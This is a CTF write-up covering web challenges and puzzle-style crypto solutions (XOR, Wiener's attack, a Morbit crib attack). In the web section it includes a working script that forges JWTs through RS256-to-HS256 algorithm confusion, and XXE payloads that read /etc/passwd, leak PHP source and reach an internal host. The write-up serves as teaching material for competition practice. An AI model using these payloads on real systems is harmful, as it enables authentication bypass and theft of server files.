This ctf had so many misc and forensics problems that I wasn’t really interested in solving however I did finish the web problems as well as some crypto problems. The web problems were pretty trivial inspect element challenges except for the JWT attack and the XML external entitiy inclusion attack which I have written up. On the other hand I started doing cryptography problems which I find pretty interesting and have also started to build my own repository with tools for cryptography.
Web #
Broken Tokens #
I made a login page, is it really secure?
[https://broken-tokens.web.hsctf.com/](https://broken-tokens.web.hsctf.com/)
Note: If you receive an "Internal Server Error" (HTTP Status Code 500), that means that your cookie is incorrect.
Author: hmmm
In the main.py
file we see that this challenge is using a JWT but in particular it is using the RS256 algorithm. An attack we can try against the RS256 algorithm is to change the algorithm to HS256. How this attacks works is because the RS256 algorithm expects the payload to be signed through asymmetric encryption in which both a private key and public key are required. However, if we change the algorithm to HS256, the JWT now only expects the token to be symetrically signed. From the website we see that the publickey.pem is given to us and this attack seems to be very likely. I wrote a script which will help automatically sign any payload we want and output the token. The source states that if the “auth” parameter in the payload is admin we will get the flag, thus this script should output a token which will grant us the flag
import binascii
import subprocess
import base64
import json
header = {
"typ" : "JWT",
"alg": "HS256"
}
payload = {
"auth": "admin"
}
hexPubKey = ""
with open("publickey.pem", "r") as f:
hexPubKey = binascii.hexlify(f.read().encode()).strip()
print("hex encoded key: " + hexPubKey.decode())
knownToken = base64.b64encode(json.dumps(header).encode()).decode() + "." + base64.b64encode(json.dumps(payload).encode()).decode()
print("known token: " + knownToken)
command = 'echo -n "' + knownToken + '" | openssl dgst -sha256 -mac HMAC -macopt hexkey:' + hexPubKey.decode()
print("command: " + command)
hmac = input("command result:\n")
signature = base64.urlsafe_b64encode(binascii.unhexlify(hmac.encode())).decode().replace("=", "")
print("final token: " + knownToken + "." + signature)
Traffic Lights W #
🚦Can you figure out what's going on with this shady company?
https://traffic-light-w.web.hsctf.com/
Author: meow
Doing some initial recon on the website we see that we can upload XML to “update firmware”. This suggests to us that the attack is an XML external entities attack in which we can include external entities in the XML request and render it to us. From the sample XML we see that the XML follows the format <root><content></content></root>
where the data inside content will be displayed to us.
In order to perform an XEE attack, we should try to include an external entity and see if it works
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<content>&xxe;</content>
</root>
It worked! We see that the content displayed on the page is the /etc/passwd file. Now that we have local file inclusion where is the flag? I first tried exfiltrating the index.php and firmare_upload.php files to see if there was any indication of where the flag was. In order to do this I opted to use php filters as conveniently the webserver was using php. Through the filters, it converted the payload to base64 and then displayed it and to get the source code all we needed to do was base64 decode it.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
<content>&xxe;</content>
</root>
However I still did not see the flag. After searching for hours, I had leaked the nginx config, found the root directory of the webserver but still no success. I then asked the admin and he told me to look closer at the homepage in which it said that the docker hostname of each traffic light was traffic-light-#
Now, I realized that we are uploading firmware to traffic-light-1000, what if we see what is being hosted on traffic-light-1004? Now at first this seems impossible because we don’t know the ip address, we only know the docker hostname. However, having worked with docker and docker-compose there is an interesting property where docker will automatically assign the hostname to the ip address. This means we can just visit http://traffic-light-1004
. This is my payload to get the content of it and convert it to base64. After decoding it we get the flag.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://traffic-light-1004">
]>
<root>
<content>&xxe;</content>
</root>
Crypto #
I finally decided to start writing my own library for cryptographic tools and utilities. It should soon be published on github and I will continue to add attacks and utilities I find useful. You will see me import the cryptotools library in my writeup which is my own set of functions. I will also include the relevant code. The repository is called cryptotools and can be found on my github.
XORed #
I was given the following equations. Can you help me decode the flag?
I was given the following equations. Can you help me decode the flag?
Key 1 = 5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533
Key 1 ^ Key 3 = 9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b
Key 2 ^ Key 3 ^ Key 5 = 557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05
Key 1 ^ Key 4 ^ Key 5 = 7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb
Key 3 ^ Key 4 = 996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a
Flag ^ Key 1 ^ Key 2 ^ Key 3 ^ Key 4 ^ Key 5 = 306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139
Author: AC
This seems like an application of the knowledge around the XOR operation. I will use ^ to represent the XOR operation. It is known that a ^ b ^ b = a. With this we can start deducing what each invidivual key value is. This can be done equation by equation. Ultimately I ended up with the following
k1 = unhexlify("5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533")
k13 = unhexlify("9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b")
k235 = unhexlify("557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05")
k145 = unhexlify("7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb")
k34 = unhexlify("996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a")
flagk12345 = unhexlify("306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139")
k3 = repXor(k13, k1)
k45 = repXor(k145, k1)
k4 = repXor(k34, k3)
k5 = repXor(k45, k4)
k25 = repXor(k235, k3)
k2 = repXor(k25, k5)
Now that we have k1,k2,k3,k4, and k5 individually, we can XOR all of those with flagk12345 and get our flag
flag = xor(flagk12345, k1, k2, k3, k4, k5)
The more interseting part of this was implementing my own XOR function and just for run, repeating XOR function. Instead of assuming that the input would be strings, I made the functions work with byte arrays. This makes it function with both string input and just hex input as well which is better as it covers more cases.
"""
name: repXor
description: repeatedly xors the key against the string
arguments: string:bytearray, key:bytearray
returns: bytearray with the xored data
"""
def repXor(inStr, key):
pos = 0
output = bytearray(inStr)
keyByteArr = bytearray(key)
for i in range(len(inStr)):
output[i] ^= keyByteArr[pos]
pos = (pos + 1) % len(keyByteArr)
return output
"""
name: xor
description: xors all strings given as arguments
arguments: *string:bytearray
returns bytearray with the xored data
"""
def xor(*inStrs):
if len(inStrs) == 0:
return ""
output = bytearray(inStrs[0])
for i in range(1, len(inStrs)):
if len(inStrs[i]) != len(output):
raise ValueError("String with length " + len(inStrs[i]) + " is different from the length of the first string " +len(inStrs[0]))
inStrByteArr = bytearray(inStrs[i])
for j in range(0, len(inStrs[i])):
output[j] = output[j] ^ inStrByteArr[j]
return output
Chonky E #
Allen and Jason rely on two different cryptosystems to keep their information secure.
Allen uses the RSA cryptosystem, given by the following public key:
e = 9104311840982855079677374551858598115118020610100513511756586560297872287847849444704878355757181398052564372532337748824983886089778468392702990618894700114963210151336725826732996168403466125286648498192
60550873861900154329646089279476464761932518203547386404539478337183973608347015667655049164724501944948976163714529963811598174278876237036391332903585204984190491759415846788027016069950992412459268841729850
04839801270005583030514286561971825047719421487004569752638468907609110285739083279629747310953086535889932550905065172805818862336335628248528993024112446002398466115161473573451161053837400091893285717
n = 1567490475585830139605132673517694799151104404114480784125905657970315336225098133520931196368355119772530338543884668541427537761460925878254404451820082373252620126980344191371570479279186358973789738461
77552961727126115560551970797370239385129543828686170774323306933202481728884019420422360360849592983818405154473369790181636472137741865440233383956571081122982223602667853668754338360008279002325576495573847
568301584365514417593244726435632222027817410359417329310347952169273512510934251453361933794586716533950489973436393834189505450956622286216819440777162804798432330933357058175885674184582816364542591313
Jason uses the Schmidt-Samoa cryptosystem. Although a public key has not been recovered, we know that Allen and Jason share the same primes (p,q).
A ciphertext was found on Jason’s computer that reads: 1626754090100487912385942467208748618854862882806378952842867446746440744387159986599333755586953048624113913865064183837741973489780138088362989416635322
52880061482104536770237506881751923172414404577687882672704228570605342616745387557432448311524709951249627365269781654485601494984037624473726539829221137721902341432534509189532352223151619645393110326596286
70417496174123483045439359846360048774164337257829398345686635091862306204455687347443958931441225500856408331795261329035072585605404416473987280037959184981453888701567175803979981461050532113072292714696752
69287252642412282669668119470556339116113742670369090073370686684236305596785644376521572339855552212690974923675933296487322197397036887756541062489516043869500643202152907186688190513449448926680100490350412
1740435965696128048690741210812963902631391765192187570107372453917327060678806282122942318369245760773848604249664378721970318257356486696764545
What are the contents of this message?
Here we are told from the challenge title that the e is particulary large. This is true as we look at the e value given in the file. The standard e value for RSA is 65537 and we can see that the value is much larger. This hints that we should attempt Wiener’s attack for large e.
The implementation of this attack was much more complex and I just decided to use the RSACtfTool implementation. The difference here was that you couldn’t just plug it into the tool because we needed the extract the p and q then use a different cryptosystem, the Schmidt-Samoa cryptosystem, to decrypt the message.
I implemented Wiener’s attack in my cryptotools module and used that to extract the p and q values. Then, I searched online for how to decrypt messages in the Schmidt-Samoa cryptosystem. It seems that all we need to do is find n = p^2 * q and d = inverse(n, lcm(p - 1, q - 1)). One problem that I noticed was that in RSA, the order of p and q does not matter as they are just used in the calculation. However, in the Schmidt-Samoa cryptosystem the order of p and q clearly matters because n is not just pq but rather p is squared. I didn’t realize this and my implementation of Wiener’s attack produced the correct p and q but in the wrong order. Only after flipping the order of p and q did I get a successfull result.
Here is my solution implementing Wiener’s attack. If you are curious you can find the implementation of Wiener’s attack here.
import sys
sys.path.insert(1, '../../tools')
from cryptotools import *
e = 91043118409828550796773745518585981151180206101005135117565865602978722878478494447048783557571813980525643725323377488249838860897784683927029906188947001149632101513367258267329961684034661252866484981926055087386190015432964608927947646476193251820354738640453947833718397360834701566765504916472450194494897616371452996381159817427887623703639133290358520498419049175941584678802701606995099241245926884172985004839801270005583030514286561971825047719421487004569752638468907609110285739083279629747310953086535889932550905065172805818862336335628248528993024112446002398466115161473573451161053837400091893285717
n = 156749047558583013960513267351769479915110440411448078412590565797031533622509813352093119636835511977253033854388466854142753776146092587825440445182008237325262012698034419137157047927918635897378973846177552961727126115560551970797370239385129543828686170774323306933202481728884019420422360360849592983818405154473369790181636472137741865440233383956571081122982223602667853668754338360008279002325576495573847568301584365514417593244726435632222027817410359417329310347952169273512510934251453361933794586716533950489973436393834189505450956622286216819440777162804798432330933357058175885674184582816364542591313
d, q, p = RSA.wiener_attack(n, e)
print("p: " + str(p))
print("q: " + str(q))
# implement schmidt-samoa cryptosystem decryption
c = 16267540901004879123859424672087486188548628828063789528428674467464407443871599865993337555869530486241139138650641838377419734897801380883629894166353225288006148210453677023750688175192317241440457768788267270422857060534261674538755743244831152470995124962736526978165448560149498403762447372653982922113772190234143253450918953235222315161964539311032659628670417496174123483045439359846360048774164337257829398345686635091862306204455687347443958931441225500856408331795261329035072585605404416473987280037959184981453888701567175803979981461050532113072292714696752692872526424122826696681194705563391161137426703690900733706866842363055967856443765215723398555522126909749236759332964873221973970368877565410624895160438695006432021529071866881905134494489266801004903504121740435965696128048690741210812963902631391765192187570107372453917327060678806282122942318369245760773848604249664378721970318257356486696764545
p = long(p)
q = long(q)
n = (p**2) * q
d = inverse(n, LCM(p - 1, q - 1))
print("n: " + str(n))
print("d: " + str(d))
m = pow(c, d, p * q)
print(long_to_bytes(m))
Morbid #
You found a message, but you're not sure what it could mean...
118289293938434193849271464117429364476994241473157664969879696938145689474393647294392739247721652822414624317164228466
Note: the flag should be two short words, separated by an underscore (ex. flag{f4k3_fl4g}). The flag is in the message, but the message itself is not the flag.
Author: AC
We are linked tot he Morbit cipher which is pretty interesting. It essentially converts the message to morse code but between letters it puts a /
and to represent spaces it puts a //
. Then, the cipher portion comes in where a number from 1-9 is substituted for every two letter combination of . - and /
. Now that we understand the cipher, what are some ideas to exploit it? My first thought was brute force. This is because if we can find what the key is then the answer is trivially easy. If we look closely, it is not a typically brute force where the range is 26! different possibilities but rather because there are only 9 items, it is 9! operations to guess the answer. Although this is correct and was probably the easiest path of exploiting the cipher, I wanted to try a more interseting attack.
Because this was a substitution cipher, I opted to try a plaintext attack where we guess one part of the plaintext and do some analysis around that. Then we can find the key much easier after having found a match. In order to accomplish this plaintext attack, we need to use something called a crib. This is the text which we know is in the plaintext and we can encode and try to find it in the ciphertext. If we are able to find our crib in the ciphertext, we will know exactly how the letters at that location was substituted. This is a brute force but it is much faster than 9!.
Overall, our goal is now to match each number from 1-9 with it’s corresponding two character morse fragment.
How I performed this attack was to first convert the word “flag” into fractionated morse code which resulted in ..-./.-../.-/--.
. Now we know that each number represents two characters, so the string must be of even length and we are fortunate here that it is of even length but if it was not of even length, we could just truncate one of the characters and continue with our attack. Next, we must find this crib in the ciphertext. My idea of how to do this was to assume that the number at the position we were guessing in the ciphertext corresonded to the next two characters of the fractionated morse. Then we would continue to traverse down the numbers and if the same number appeared but it required a different section of the fractionated morse, we knew that we did not find our crib in the ciphertext. Here is the code I implemented to see if our crib was at a certain location.
def crib(pos):
currentKey = {}
for i in range(0, len(known), 2):
# every two characters
partOfCipher = c[pos + (i // 2)]
partOfKnown = known[i:i+2]
#print(partOfCipher + " " + partOfKnown)
if partOfCipher in currentKey:
# currentKey already has partOfCipher, then it must match otherwise this isn't right position
if currentKey[partOfCipher] != partOfKnown:
return None
else:
# partOfCipher not in currentKey so we add it
currentKey[partOfCipher] = partOfKnown
return currentKey
So now all we have to do is brute force for the crib at every location in the ciphertext, easy right? Well unforunately after writing a for loop to try to find the crib, it returned completely empty. This is when I realized that because each number represents two characters, it is possible that the “offset” was wrong which means that the world flag is still in the plaintext but we just have the wrong offset for our crib. After changing our crib to /..-./.-../.-/--./
which essentially shifts the offset by 1, we find that at position 74, our crib is found in the ciphertext! This is all just done with a single for loop trying the crib at every position.
My program outputs that the crib we found is {'3': '.-', '2': '--', '4': '/.', '7': '-/', '6': '..', '9': './'}
. This is a great first step as we can now assume that the key value pairs are exactly how the fractionated morse was substituted. Now the remaining steps are simple as we just need to brute froce the remaining substitutions and find the plaintext with the least entropy. Here is my code to find the remaining morse values and numbers we still needed to find
remainingKeys = []
for i in range(1, 10):
if str(i) not in knownKey.keys():
remainingKeys.append(str(i))
possibleMorse = ['..', '.-', './', '-.', '--', '-/', '/.', '/-', '//']
remainingMorse = []
for morse in possibleMorse:
if morse not in knownKey.values():
remainingMorse.append(morse)
print("remaining keys: " + str(remainingKeys))
print("remaining morse: " + str(remainingMorse))
Finally, all we have to do is put the keys and morse possibilities in every possible permutation and brute force the key to get the flag! Here is my complete solve script and you can see how we can find all permutations between the possible keys and possible morse values. In the end the program output 6 possible combinations (3!) and we are able to try every fractionated morse combination in a translator until we get the correct plaintext. Overall, this was a very fun challenge as I was able to attempt using a crib to crack a substition cipher and had a solution much faster than the naive 9! brute force solution.
from itertools import permutations
c = "118289293938434193849271464117429364476994241473157664969879696938145689474393647294392739247721652822414624317164228466"
known = "/..-./.-../.-/--./"
# drag the crib across the ciphertext
def crib(pos):
currentKey = {}
for i in range(0, len(known), 2):
# every two characters
partOfCipher = c[pos + (i // 2)]
partOfKnown = known[i:i+2]
#print(partOfCipher + " " + partOfKnown)
if partOfCipher in currentKey:
# currentKey already has partOfCipher, then it must match otherwise this isn't right position
if currentKey[partOfCipher] != partOfKnown:
return None
else:
# partOfCipher not in currentKey so we add it
currentKey[partOfCipher] = partOfKnown
return currentKey
'''
for i in range(0, len(c) - (len(known) // 2)):
print(str(i))
print(crib(i))
'''
# at position 74, a crib is found
knownKey = crib(74)
print(knownKey)
remainingKeys = []
for i in range(1, 10):
if str(i) not in knownKey.keys():
remainingKeys.append(str(i))
possibleMorse = ['..', '.-', './', '-.', '--', '-/', '/.', '/-', '//']
remainingMorse = []
for morse in possibleMorse:
if morse not in knownKey.values():
remainingMorse.append(morse)
print("remaining keys: " + str(remainingKeys))
print("remaining morse: " + str(remainingMorse))
possibleRemaining = []
for morsePermutation in permutations(remainingMorse):
possibleRemaining.append(dict(zip(remainingKeys, morsePermutation)))
for partKey in possibleRemaining:
totalKey = knownKey
totalKey.update(partKey)
print(totalKey)
outputStr = ""
for i in range(len(c)):
outputStr += totalKey[c[i]]
formatted = outputStr.replace('/', ' ').replace('//', ' ')
print(formatted)